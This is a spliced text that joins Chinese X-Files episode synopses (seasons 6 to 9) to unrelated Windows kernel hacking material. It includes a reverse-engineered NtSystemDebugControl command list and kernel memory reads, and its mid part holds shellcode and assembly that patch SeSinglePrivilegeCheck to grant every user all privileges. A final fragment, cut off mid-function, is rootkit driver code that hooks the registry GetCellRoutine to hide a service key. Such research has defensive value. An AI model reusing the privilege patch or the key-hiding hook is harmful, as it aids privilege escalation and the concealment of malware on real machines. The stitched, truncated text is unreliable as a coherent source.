Spender的母亲没有死。她意外成了第一例成功的人类/alien混种,也就是辛迪加与殖民alien协议研究的在殖民后为其充当奴隶的人种。同时,叛军外星人的力量暂时占了上风,他们渗入了辛迪加组织,意图夺走spender的母亲。CSM要继续保护和殖民方合作同时暗地研制疫苗的计划,在对自己亲手扶植的儿子Spender失望之余,他找来Fowley帮忙。

6X12 父与子(下) One Son
辛迪加抓到了Spender的母亲和MS。Mulder了解到如果殖民方alien知道混种研究已经成功,殖民就会开始,而辛迪加故意拖延研究混种并一直隐瞒真相是为了赢得研制疫苗的时间。意识到叛军的力量已是无法阻止的,CSM等辛迪加决定把Spender的母亲交给殖民方,让殖民开始,以保存自己。但叛军先行一步,最终夺走的Spender的母亲,烧死了除CSM外的所有辛迪加成员。CSM杀死了自己的儿子Spender。

6X13 美丽新社区 Arcadia
Mulder和Scully伪装成一对夫妇来到一个秩序井然的美丽社区调查居民失踪案,发现一切是由懂远东意念术的人用泥土创造的幻人所为。

6X14 水怪 Agua Mala
佛罗里达的暴风雨把深海的一种生物带到了小城的排水系统中。这种只能在咸水中生存的生物能把人融解为水。5X15中的前X档案探员请MS来帮助解决这个问题。

6X15 星期一 Monday
Mulder每天醒来都回到同一个星期一,经历同样的事情却毫不知情。只有一个女子知道要逃离这无间地狱,必须改正一件错误的事情。

6X16 变形犬 Alpha
一名到中国寻找失落的王山犬的教授获得了变身成动物的能力,开始无法控制杀人的欲望。

6X17 穿墙人 Trevor
一名囚犯在一场风暴中意外获得了身体穿越固体的能力。他逃出了监狱,想要找回自己的儿子。

6X18 爱情小说 Milagro
暗恋Scully的小说家为了接近Scully,在小说中创作了完美的犯罪,小说中的杀手来到现实中执行了这些罪行。在了解到Scully心有所属后,小说家不知如何结尾了,而小说中的杀手告诉他应该杀死Scully。

6X19 难兄难弟 Three of A Kind
孤枪侠Byers自从1990年后就一直在寻找的那名女子现身拉斯维加斯。他们为她能摆脱阴谋和追杀,请来了Scully帮忙。

6X20 快乐人生 The Unnatural
5X15中的前X档案探员有个双胞胎兄弟,给Mulder讲了一个发生在1947年的故事,有关alien、赏金杀手、棒球,还有单纯的快乐。

6X21 田野之旅 Field Trip
北卡罗来纳州的布朗山附近长了一种蘑菇,通过释放出的孢子让人产生非常真实的幻觉,睡梦中的人却作为这些蘑菇的营养慢慢被消化了。

6X22 创世纪 Biogenesis
非洲象牙海岸发掘出了写有符号的飞船碎片,发现碎片的相关科学家纷纷被谋杀。这些碎片让Mulder脑海中听到无数声音并同痛不欲生。Scully发现碎片上的符号可能是人类的基因蓝图。Mulder被关进了精神病院。Scully来到象牙海岸,看到半埋在沙滩中的飞船。

第7季
详细剧情介绍

7X01 我想做好人 Hungry
一个基因变种人有着无法抑止的吃人脑的欲望。但他想做个好人。

7X02 幸运儿 The Goldberg Variation
一个善良的家伙有着难以置信的好运气,他和懂得平衡自己拥有的好运,并运用它们来攒钱帮助一个肾衰竭的孩子做肾移植手术。

7X03 第六次大灭绝(上) The Sixth Extinction
Mulder在医院被Fowley监管着。他想办法请来了Skinner和Kritschgau来帮忙,他们了解到Mulder拥有了CIA一直在研究的读心术。Scully在象牙海岸寻找治愈Mulder的办法。Mulder的病情加重了。

7X04 第六次大灭绝(下) The Sixth Extinction II: Amor Fati
Kritschgau指出Mulder现在的情况是因为曾感染黑油,飞船碎片的出现激活了黑油发生作用。CSM知道Mulder现在是继Spender的母亲之后又一例成功alien/人类混种,而且是更加稳定无排斥的品种。他带走Mulder,实施手术移植他的脑部遗传物质到自己身上。Mulder一直在做梦,梦中他在CSM的诱惑下经历了完全不同的人生。

7X05 千禧计划 Millennium
一个叫做千禧组织的邪教团体召唤了四个活死人,意图通过仪式迎接世纪末的世界末日。Mulder和Scully找到曾是千禧组织成员之一的前FBI探员帮助破案。

7X06 急速快感 Rush
几个孩子发现了一个山洞的秘密,被洞里的神秘光线照过之后,他们能够以肉眼捕捉不到的高速运动。

7X07 替天行道 Orison
2X13里的恋物癖被一个传教士出于替天行道的目的放出了监狱,但他低估了这个变态的邪恶程度。Scully再次成为了这个变态的目标。

7X08 魔术大师 The Amazing Maleeni
魔术大师马里尼在完成他的绝技——头颅旋转180度的表演后,被发现尸首分离死在自己的货车上,另一个与他有瓜葛的魔术师成为了嫌疑犯。Mulder和Scully却发现这一切可能只是场魔术骗局。

7X09 不义之徒 Signs & Wonders
传教士Mackey的和善外表下是恶魔的心,只有同一教区的另一位另类神父看穿了他。Mackey使用种种卑劣手段打击栽赃这位神父。连Mulder和Scully都被他们的外表欺骗了。

7X10 生命的奇迹(上) Sein Und Zeit
发生了多宗儿童绑架案。Mulder认为案件和Samantha的失踪有关。追随线索,他们发现凶手是个嗜杀儿童的杀人狂。Mulder的母亲自杀了。

7X11 生命的奇迹(下) Closure
被杀的儿童里没有Samantha。但有个人通过这个案件联系上Mulder,声称能帮Mulder找到他妹妹。最后Mulder终于知道Samantha很早就死了,她的灵魂和许多其他奇异失踪的孩子的灵魂在一起,安全而快乐。Mulder自由了。

7X12 X警察 X-Cops
X档案与Cops的Crossover,忠实记录了Mulder和Scully协助警方追捕月圆之夜的“怪物”——恐惧的过程。

7X13 虚拟战斗 First Person Shooter
游戏公司测试虚拟现实第一人称射击游戏时,测试人员意外死于游戏中——被一个非游戏角色的虚拟人物杀死。Mulder和Scully全副武装进入游戏调查真相。

7X14 夺命魔咒 Theef
誉满业界的医生曾经为一名无治疗希望的病人实施了安乐死。病人的父亲认为医生是杀手,决心用巫术报复医生全家。

7X15 尔虞我诈 En Ami
CSM利用Scully达成他的目的,在Scully和CSM的合作过程中,她多少了解到了他的另一面。

7X16 贤妻良母 Chimera
善良能干的妻子对丈夫偷情视而不见,宁愿默默忍受也要维护家庭的幸福。但忍受到了极限就一定会爆发,她变成了连自己都不认识的怪物。

7X17 人生旅途 all things
Mulder匆匆赶去英国看麦田怪圈,Scully留在华盛顿遇到了自己的旧情人,让她有机会对自己做出的选择进行了深刻的反省。

7X18 超级烟草 Brand X
Morley烟草公司利用转基因技术培育新品种烟草,却意外改造出了致命的烟草甲虫。Mulder成为了甲虫的受害者,生命垂危。

7X19 好莱坞式X档案 Hollywood A.D.
Mulder和Scully发现了耶稣让拉撒路复活时使用过的陶土碗。好莱坞把他们的经历拍成了电影,请Skinner担任副制片人。

7x20 斗阵俱乐部 Fight Club
通过捐献精子由同父异母所生的一对完全相像的双胞胎相遇,周围的人们便会莫名其妙地陷入疯狂。两对这样的双胞胎在全是摔角迷的摔角赛场相遇……

7x21 三个愿望 Je Souhaite
来自法国的古老的地毯精灵被释放了,她能满足任何释放她的人任意三个愿望。

7x22 安魂曲 Requiem
Mulder和Scully回到他们第一次合作办案的厄勒冈,调查当地一起飞船坠毁事件。CSM自从手术后就身体欠佳,听到消息异常兴奋,认为是复兴计划的机会,派出Krycek寻找飞船。MS发现,曾被劫持过的人现在又开始一一失踪了,他担心Scully的安全。但是,最后被飞船和赏金杀手带走的却是Mulder。Krycek无情地杀死了CSM。Scully怀孕了。

第8季
by carmanshuai

8x01 Within 寻获
Agent Doggett被派来协助调查Mulder的失踪,Scully泼了他一杯水。

8x02 Without 离散
Scully认为找到Gibson就能找到Mulder,他们在沙漠里找到了Gibson。

8x03 Patience 忍耐
Scully和Agent Doggett去调查一个蝙蝠人的案子。

8x04 Roadrunners 寄生邪神
一个宗教团体把Scully困在了一个小镇上,还把一个恶心的生物放在了她身体里,完全不顾她已经怀孕了,Agent Doggett及时赶到,帮她取了出来。

8x05 Invocation 幽灵兄弟
一个1990年消失的孩子又出现了,还是他消失时那样大,七岁,他回来抓绑架他的坏蛋。

8x06 Redrum 时光倒流
一个黑人一觉醒来发觉自己在监狱中,以后每天早上醒来都是前一天,他被指控谋杀了自己的妻子。

8x07 Via Negativa 心魔
一个宗教团体的头可以进入别人的梦中用斧子将做梦的人杀死。

8x08 Surekill 完美谋杀案
一个人拥有X-Ray眼。

8x09 Salvage 异变
Scully和Agent Doggett调查一个可能由于暴露于不知名金属合金的人的杀人事件。

8x10 Badlaa 寄身人
一个印度无腿人能钻进人的身体里。

8x11 The Gift 生命的意义
Agent Doggett调查Mulder失踪前不久的事情,Doggett死而复生。

8x12 Medusa 地铁惊魂
在地铁站里发现了绿绿的水母。

8x13 Per Manum 疑问
许多妇女生出了alien baby被她们的医生用做实验,Scully的医生也参与了,Scully想知道自己的孩子是否正常。通过Scully的回忆,确定Mulder曾经为Sully捐精,当时没有成功,不过后来Sully奇迹般的怀孕了。

8x14 This Is Not Happening 奇迹
Mulder被发现死了。

8x15 Deadalive 生与死
Mulder葬礼后3个月后被挖出来,又活了。

8x16 Three Words 对抗未来
一个人声称美国要被alien接管了,他有一张“fight the future”的CD。

8x17 Empedocles 邪火传承
可能杀死Doggett儿子的灵魂无休止的付在别人的身上,不停的杀人。

8x18 Vienen 外星异种
Mulder和Doggett到一个海上的钻井平台上调查被黑油感染的工人。

8x19 Alone 变异爬虫
一个MS的崇拜者暂时代替休产假的Scully和Agent Doggett一起调查一个可以变成爬行动物的人的案子。
Scully把Mulder送给她的阿波罗11号登月的钥匙扣送给了Agent Doggett。

8x20 Essence 奔逃
一个SculLy的妈妈请来的保姆换了Scully的药,大家都来保护Sully不受super soldier的追杀。

8x21 Existence 启明
排除万难,SculLy终于有了她的孩子,William。MS拥吻。

第9季
by sapphire

Nothing Important Happened Today   9x-01   氯胺疑魂(上)
Doggett不顾众人的阻拦坚持调查,他开始着手调查一个环保署职员死亡的案件。

Nothing Important Happened Today II   9x-02   氯胺疑魂(下)
Doggett发现政府利用在饮用水中加入经分子改造后的氯胺的方法来制造supersoldier。

Daemonicus   9x-03   撒旦回归
一个研究撒旦的前大学教授现精神病人设计从精神病院中逃脱。

Hellbound   9x-04   地狱旅程
一百多年前死去的一个人不停地转世,用剥皮的方法杀死由那一世里四个凶手转世的人。

4-D   9x-05   镜像空间
一个人能自由地穿梭于平行宇宙,他在其中一个宇宙杀死了Monica,打伤了Doggett。

Lord of the Files   9x-06   蝇
一个男孩因遗传而具有类似苍蝇的特殊生理结构,能招来虫子。

John Doe   9x-07   心灵捕手
Doggett调查一个银行家来到墨西哥,他被清除了记忆。

Trust No 1   9x-08   信任危机
Supersoldier骗取了Scully的信任,引诱Mulder出现,想杀死Mulder。
Scully和Doggett发现磁铁矿能杀死supersoldier。

Underneath   9x-09   心魔
一个人具有双重人格,能化身为另一个人杀人。

Provenance   9x-10   天命(上)
一个FBI探员来杀死Scully的孩子,另一个崇拜UFO的组织绑架了William,企图保护他。

Providence   9x-11   天命(下)
崇拜UFO的组织绑架了William,Scully又找回了他。

Scary Monsters   9x-12   幻想成真
一个小男孩会因为恐惧而产生幻想,这些幻想出的虫子能够真的把人杀死。

Audrey Pauley   9x-13   再生情缘
一个医院的护工建造了一座医院的模型,医院中脑死亡的病人的灵魂都会停留在其中直到死去。

Improbable   9x-14   寻凶记
一个凶手依据数字命理学的计算结果来选择受害人。

Jump the Shark   9x-15   异类病毒
Lone Gunmen为了保护人们不被扩散的病毒感染而牺牲。

Release   9x-16   解开心结
Doggett重新调查自己的儿子被害的案件。

William   9x-17   母与子
怀疑是Mulder的人企图伤害William,Scully决定把William送给别人抚养。

Sunshine Days   9x-18   美丽人生(阳光灿烂的日子)
一个拥有超能力的人因为孤独而用超能力幻想出30年代电视剧中的美满家庭。

The Truth     9x-19   真相(上)
The Truth II   9x-20   真相(下)
Mulder闯入秘密军事基地而被控谋杀,众人合力帮Mulder逃脱。Mulder带Scully到新墨西哥寻找真相。
晚上,M&S在旅馆中相拥而眠。
__________

本文版权归X档案中文网及作者所有,任何性质的转载请注明出处。

对Native API NtSystemDebugControl的分析
文章作者:tombkeeper[0×40]nsfocus[0×2e]com

在《获取Windows 系统的内核变量》中,我提及了在Windows NT 5.1以上的系统
中存在一个功能强大的 Native API NtSystemDebugControl,下面我们来看看它到底
有多强大。

NtSystemDebugControl是Windows NT系列操作系统上实现的一个系统调用,在不
同系统上的调用号分别为:

Windows NT 0xba
Windows 2000 0xde
Windows XP 0xff
Windows 2003 0×108

这是一个未文档化的 API,《Windows NT/2000 Native API Reference》中有相
关介绍。官方定义可以在一个微软的private头文件ntexapi.h中找到。该文件中还包
含很多其它内部数据结构。可能Windows NT 4的SDK中还曾经有过这个文件(至少NT4
ResourceKit的支持文档里面是这样说的),但现在似乎微软只提供给它的合作伙伴。
好在NTKernel新闻组上有一个“very kind person”共享了这个头文件,你可以从参
考资源[2]的两个链接中得到它。

这就是ntexapi.h中的定义:

typedef enum _SYSDBG_COMMAND {
SysDbgQueryTraceInformation = 1, //KdGetTraceInformation()
SysDbgSetTracepoint = 2, //KdSetInternalBreakpoint()
SysDbgSetSpecialCall = 3, //KdSetSpecialCall()
SysDbgClearSpecialCalls = 4, //KdClearSpecialCalls()
SysDbgQuerySpecialCalls = 5, //KdQuerySpecialCalls()
SysDbgQueryModuleInformation //ntexapi.h中有,但实际上未实现
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

NTSYSAPI
NTSTATUS
NTAPI
NtSystemDebugControl (
IN SYSDBG_COMMAND Command,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
OUT PULONG ReturnLength
);

从上面可以看出,Windows NT和Windows 2000上的NtSystemDebugControl通过不
同的第一形参可调用五个内核函数,实现相关功能。

NtSystemDebugControl在Windows NT和Windows 2000上的功能还是比较简陋的,
《Windows NT/2000 Native API Reference》一书对这些已经介绍的很详细了,本文
不再赘述。

从Windows NT 5.1内核(Windows XP)开始,NtSystemDebugControl的功能被极
大扩增了。根据逆向工程的结果来看,在Windows XP上NtSystemDebugControl的第一
形参可接受 20个不同的功能调用,在Windows 2003上则有28个。

关于NtSystemDebugControl在Windows NT 5.1以上的实现,互联网上唯一能找到
的资料是BUGTRAQ ID 9694关于该 API的一个漏洞报告(参考资源[1]),事实上,这
个所谓漏洞是不能称之为漏洞的,因为调用这个API需要SeDebugPrivilege 特权,普
通用户根本执行不了,也就谈不上权限提升。

下面的enum是我逆向工程的结果,绝大部分经过测试:

typedef enum _SYSDBG_COMMAND {
//以下5个在Windows NT各个版本上都有
SysDbgGetTraceInformation = 1,
SysDbgSetInternalBreakpoint = 2,
SysDbgSetSpecialCall = 3,
SysDbgClearSpecialCalls = 4,
SysDbgQuerySpecialCalls = 5,

// 以下是NT 5.1 新增的
SysDbgDbgBreakPointWithStatus = 6,

//获取KdVersionBlock
SysDbgSysGetVersion = 7,

//从内核空间拷贝到用户空间,或者从用户空间拷贝到用户空间
//但是不能从用户空间拷贝到内核空间
SysDbgCopyMemoryChunks_0 = 8,
//SysDbgReadVirtualMemory = 8,

//从用户空间拷贝到内核空间,或者从用户空间拷贝到用户空间
//但是不能从内核空间拷贝到用户空间
SysDbgCopyMemoryChunks_1 = 9,
//SysDbgWriteVirtualMemory = 9,

//从物理地址拷贝到用户空间,不能写到内核空间
SysDbgCopyMemoryChunks_2 = 10,
//SysDbgReadVirtualMemory = 10,

//从用户空间拷贝到物理地址,不能读取内核空间
SysDbgCopyMemoryChunks_3 = 11,
//SysDbgWriteVirtualMemory = 11,

//读写处理器相关控制块
SysDbgSysReadControlSpace = 12,
SysDbgSysWriteControlSpace = 13,

//读写端口
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15,

//分别调用RDMSR@4和_WRMSR@12
SysDbgSysReadMsr = 16,
SysDbgSysWriteMsr = 17,

//读写总线数据
SysDbgSysReadBusData = 18,
SysDbgSysWriteBusData = 19,

SysDbgSysCheckLowMemory = 20,

// 以下是NT 5.2 新增的

//分别调用_KdEnableDebugger@0和_KdDisableDebugger@0
SysDbgEnableDebugger = 21,
SysDbgDisableDebugger = 22,

//获取和设置一些调试相关的变量
SysDbgGetAutoEnableOnEvent = 23,
SysDbgSetAutoEnableOnEvent = 24,
SysDbgGetPitchDebugger = 25,
SysDbgSetDbgPrintBufferSize = 26,
SysDbgGetIgnoreUmExceptions = 27,
SysDbgSetIgnoreUmExceptions = 28
} SYSDBG_COMMAND, *PSYSDBG_COMMAND;

从上面可以看出,在Windows NT 5.1以上的NtSystemDebugControl可以实现读写
内核线性空间数据、读写物理内存、读写端口、读写总线数据、读写MSR 等功能;在
Windows NT 5.2以上还可以在系统运行状态下使能、禁用内核调试以及获取、设置一
些相关变量等。

显然,从Windows XP开始,我们再次获得了MS DOS时代直接操纵系统的权杖,戴
着桂冠,重新回到了奥林匹斯山之巅。

下面举几个具体应用的例子。

例子1:

下面代码演示读取KdVersionBlock:

//————————————————————————
typedef struct _DBGKD_GET_VERSION64 {
USHORT MajorVersion;
USHORT MinorVersion;
USHORT ProtocolVersion;
USHORT Flags;
USHORT MachineType;
UCHAR MaxPacketType;
UCHAR MaxStateChange;
UCHAR MaxManipulate;
UCHAR Simulation;
USHORT Unused[1];
ULONG64 KernBase;
ULONG64 PsLoadedModuleList;
ULONG64 DebuggerDataList;
} DBGKD_GET_VERSION64, *PDBGKD_GET_VERSION64;

DBGKD_GET_VERSION64 KdVersionBlock;

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgSysGetVersion,
NULL,
0,
&KdVersionBlock,
sizeof(KdVersionBlock), //必须是0×28
NULL
);

printf (”KernBase: 0x%.8x\n”,KdVersionBlock.KernBase);
printf (”PsLoadedModuleList: 0x%.8x\n”,KdVersionBlock.PsLoadedModuleList);
printf (”DebuggerDataList: 0x%.8x\n”,KdVersionBlock.DebuggerDataList);
//————————————————————————

例子2:

下面代码演示读取内核空间数据的操作,这里读取的是Windows 2003内核映像的
头两个字节,也就是“MZ”。

//————————————————————————
typedef struct _MEMORY_CHUNKS {
ULONG Address;
PVOID Data;
ULONG Length;
}MEMORY_CHUNKS, *PMEMORY_CHUNKS;

MEMORY_CHUNKS QueryBuff;
ULONG ReturnLength;
char Buff[0×2] = {0};

QueryBuff.Address = 0×804e0000; //Windows 2003的KernBase
QueryBuff.Data = Buff; //在此是读出缓冲
QueryBuff.Length = sizeof(Buff);

EnablePrivilege(SE_DEBUG_NAME);

ZwSystemDebugControl
(
SysDbgCopyMemoryChunks_0,
&QueryBuff,
sizeof(MEMORY_CHUNKS), //必须是0×0C
NULL,
0,
&ReturnLength
);

printf (”\”MZ\”: %s\n”,Buff);
//————————————————————————

例子3:

下面是一个使用NtSystemDebugControl的SysDbgCopyMemoryChunks_1功能实现的
Patch内核的ShellCode,把0×80580e66由原来的8a450c改为90b001:

修改前:

nt!SeSinglePrivilegeCheck+0×5c:
80580e66 8a450c mov al,[ebp+0xc]
80580e69 c9 leave
80580e6a c20c00 ret 0xc

修改后:
nt!SeSinglePrivilegeCheck+0×5c:
80580e66 90 nop
80580e67 b001 mov al,0×1
80580e69 c9 leave
80580e6a c20c00 ret 0xc

这样,SeSinglePrivilegeCheck总是返回True,也就是说,无论哪个用户,总是
拥有全部系统特权。

\xeb\x09\x66\xb8\x08\x01\x8b\xd4\x0f\x34\xc3\x68\x90\xb0\x01\xc9
\x8b\xc4\x6a\x04\x50\x68\x66\x0e\x58\x80\x54\x5b\x33\xc0\x50\x54
\x50\x50\x6a\x0c\x53\x6a\x09\x50\xe8\xd5\xff\xff\xff\x83

//————————————————————————
#pragma comment(linker, “/entry:main /ALIGN:4096″ )
#pragma comment(lib, “kernel32.lib”)

#define sysenter __asm __emit 0×0f __asm __emit 0×34

void main(void)
{
__asm
{
int 3 //debug
jmp patch

SystemDebugControl:

mov ax,0×108
mov edx,esp
sysenter
ret

patch:

push 0xc901b090
mov eax,esp
push 0×04
push eax
push 0×80580e66
push esp
pop ebx
xor eax,eax
push eax
push esp //ReturnLength
push eax //OutputBufferLength
push eax //OutputBuffer
push 0×0c //InputBufferLength
push ebx //InputBuffer
push 0×09 //ControlCode
push eax //for sysenter ret
call SystemDebugControl
add esp,0×30 //只是为了修正堆栈
}
}
//————————————————————————

上面只是一个概念代码,使用的Patch地址是固定的,对5.2.3790.0 版本的内核
有效。由于调用NtSystemDebugControl 要SeDebugPrivilege,所以这段ShellCode需
要在LocalSystem 的身份的进程空间运行,或者自己增加SeDebugPrivilege。最简单
的办法就是在WinDBG中执行。

例子4:

下面是一段完整的代码,利用NtSystemDebugControl读写端口的能力,直接操纵
PC Speaker发声:

//————————————————————————
//演示用ZwSystemDebugControl读写端口使PC Speaker发声
//tombkeeper 2004.08.03

#include
#include

#pragma comment(lib, “advapi32″)

#define NTAPI __stdcall
#define FCHK(a) if (!(a)) {printf(#a ” failed\n”); return 0;}

typedef int NTSTATUS;

typedef enum _SYSDBG_COMMAND
{
SysDbgSysReadIoSpace = 14,
SysDbgSysWriteIoSpace = 15
}SYSDBG_COMMAND, *PSYSDBG_COMMAND;

typedef NTSTATUS (NTAPI * PZwSystemDebugControl) (
SYSDBG_COMMAND ControlCode,
PVOID InputBuffer,
ULONG InputBufferLength,
PVOID OutputBuffer,
ULONG OutputBufferLength,
PULONG ReturnLength
);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

typedef struct _IO_STRUCT
{
DWORD IoAddr; // IN: Aligned to NumBYTEs,I/O address
DWORD Reserved1; // Never accessed by the kernel
PVOID pBuffer; // IN (write) or OUT (read): Ptr to buffer
DWORD NumBYTEs; // IN: # BYTEs to read/write. Only use 1, 2, or 4.
DWORD Reserved4; // Must be 1
DWORD Reserved5; // Must be 0
DWORD Reserved6; // Must be 1
DWORD Reserved7; // Never accessed by the kernel
}
IO_STRUCT, *PIO_STRUCT;

BOOL EnablePrivilege (PCSTR name)
{
HANDLE hToken;
BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
LookupPrivilegeValue (
0,
name,
&priv.Privileges[0].Luid
);

OpenProcessToken(
GetCurrentProcess (),
TOKEN_ADJUST_PRIVILEGES,
&hToken
);

AdjustTokenPrivileges (
hToken,
FALSE,
&priv,
sizeof priv,
0,
0
);
rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);
return rv;
}

BYTE InPortB (int Port)
{
BYTE Value;
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysReadIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
return Value;
}

void OutPortB (int Port, BYTE Value)
{
IO_STRUCT io;

io.IoAddr = Port;
io.Reserved1 = 0;
io.pBuffer = (PVOID) (PULONG) & Value;
io.NumBYTEs = sizeof (BYTE);
io.Reserved4 = 1;
io.Reserved5 = 0;
io.Reserved6 = 1;
io.Reserved7 = 0;

ZwSystemDebugControl
(
SysDbgSysWriteIoSpace,
&io,
sizeof (io),
NULL,
0,
NULL
);
};

void BeepOn (int Freq)
{
BYTE b;

if ((Freq >= 20) && (Freq <= 20000))
{
Freq = 1193181 / Freq;
b = InPortB (0x61);
if ((b & 3) == 0)
{
OutPortB (0x61, (BYTE) (b | 3));
OutPortB (0x43, 0xb6);
}
OutPortB (0x42, (BYTE) Freq);
OutPortB (0x42, (BYTE) (Freq >> 8));
}
}

void BeepOff (void)
{
BYTE b;

b = (InPortB (0×61) & 0xfc);
OutPortB (0×61, b);
}

int main (void)
{
HMODULE hNtdll;
ULONG ReturnLength;
OSVERSIONINFO OSVersionInfo;
OSVersionInfo.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);

EnablePrivilege (SE_DEBUG_NAME);

FCHK ((hNtdll = LoadLibrary (”ntdll.dll”)) != NULL);
FCHK ((ZwSystemDebugControl = (PZwSystemDebugControl)
GetProcAddress (hNtdll, “ZwSystemDebugControl”)) != NULL);
FCHK ((void *) GetVersionEx (&OSVersionInfo) != NULL);

if (OSVersionInfo.dwPlatformId == VER_PLATFORM_WIN32_NT &&
OSVersionInfo.dwMajorVersion >= 5 &&
OSVersionInfo.dwMinorVersion >= 1) //Windows XP以上
{
BeepOn (1000); //声音频率1000Hz
Sleep (1000);
BeepOff ();
}
else
{
printf (”This program require Windows XP or Windows 2003.\n”);
}
return 0;
}
//————————————————————————

参考资源:

[1]Microsoft Windows NtSystemDebugControl() Kernel API Function Privilege
Escalation Vulnerability
http://www.securityfocus.com/bid/9694

[2]ntexapi.h
http://www.codeguru.com/code/legacy/system/ntexapi.zip
http://void.ru/files/Ntexapi.h

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

  1. #include <ntddk.h>
  2. #define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )
  3. #define CM_KEY_INDEX_ROOT 0x6972 // ir
  4. #define CM_KEY_INDEX_LEAF 0x696c // il
  5. #define CM_KEY_FAST_LEAF 0x666c // fl
  6. #define CM_KEY_HASH_LEAF 0x686c // hl
  7. // 一些CM的数据结构,只列出用到的开头部分
  8. #pragma pack(1)
  9. typedef struct _CM_KEY_NODE {
  10. USHORT Signature;
  11. USHORT Flags;
  12. LARGE_INTEGER LastWriteTime;
  13. ULONG Spare; // used to be TitleIndex
  14. HANDLE Parent;
  15. ULONG SubKeyCounts[2]; // Stable and Volatile
  16. HANDLE SubKeyLists[2]; // Stable and Volatile
  17. // ...
  18. } CM_KEY_NODE, *PCM_KEY_NODE;
  19. typedef struct _CM_KEY_INDEX {
  20. USHORT Signature;
  21. USHORT Count;
  22. HANDLE List[1];
  23. } CM_KEY_INDEX, *PCM_KEY_INDEX;
  24. typedef struct _CM_KEY_BODY {
  25. ULONG Type; // "ky02"
  26. PVOID KeyControlBlock;
  27. PVOID NotifyBlock;
  28. PEPROCESS Process; // the owner process
  29. LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
  30. } CM_KEY_BODY, *PCM_KEY_BODY;
  31. typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);
  32. typedef struct _HHIVE {
  33. ULONG Signature;
  34. PGET_CELL_ROUTINE GetCellRoutine;
  35. // ...
  36. } HHIVE, *PHHIVE;
  37. #pragma pack()
  38. // 需隐藏的主键名
  39. WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";
  40. PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
  41. PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;
  42. PCM_KEY_NODE g_HideNode = NULL;
  43. PCM_KEY_NODE g_LastNode = NULL;
  44. // 打开指定名字的Key
  45. HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
  46. {
  47. NTSTATUS status;
  48. UNICODE_STRING uKeyName;
  49. OBJECT_ATTRIBUTES oa;
  50. HANDLE hKey;
  51. RtlInitUnicodeString(&uKeyName, pwcsKeyName);
  52. InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
  53. status = ZwOpenKey(&hKey, KEY_READ, &oa);
  54. if (!NT_SUCCESS(status))
  55. {
  56. DbgPrint("ZwOpenKey Failed: %lx\n", status);
  57. return NULL;
  58. }
  59. return hKey;
  60. }
  61. // 获取指定Key句柄的KeyControlBlock
  62. PVOID GetKeyControlBlock(HANDLE hKey)
  63. {
  64. NTSTATUS status;
  65. PCM_KEY_BODY KeyBody;
  66. PVOID KCB;
  67. if (hKey == NULL) return NULL;
  68. // 由Key句柄获取对象体
  69. status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
  70. if (!NT_SUCCESS(status))
  71. {
  72. DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
  73. return NULL;
  74. }
  75. // 对象体中含有KeyControlBlock
  76. KCB = KeyBody->KeyControlBlock;
  77. DbgPrint("KeyControlBlock = %lx\n", KCB);
  78. ObDereferenceObject(KeyBody);
  79. return KCB;
  80. }
  81. // 获取父键的最后一个子键的节点
  82. PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
  83. {
  84. // 获取父键的节点
  85. PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
  86. // 获取子键的索引
  87. PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);
  88. DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);
  89. // 如果为根(二级)索引,获取最后一个索引
  90. if (Index->Signature == CM_KEY_INDEX_ROOT)
  91. {
  92. Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  93. DbgPrint("Index = %lx\n", Index);
  94. }
  95. if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
  96. {
  97. // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
  98. return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
  99. }
  100. else
  101. {
  102. // 一般叶索引,返回最后的节点
  103. return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
  104. }
  105. }
  106. // GetCell例程的钩子函数
  107. PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
  108. {
  109. // 调用原函数
  110. PVOID pRet = g_pGetCellRoutine(Hive, Cell);
  111. if (pRet)
  112. {
  113. // 返回的是需要隐藏的节点
  114. if (pRet == g_HideNode)
  115. {
  116. DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
  117. // 查询、保存并返回其父键的最后一个子键的节点
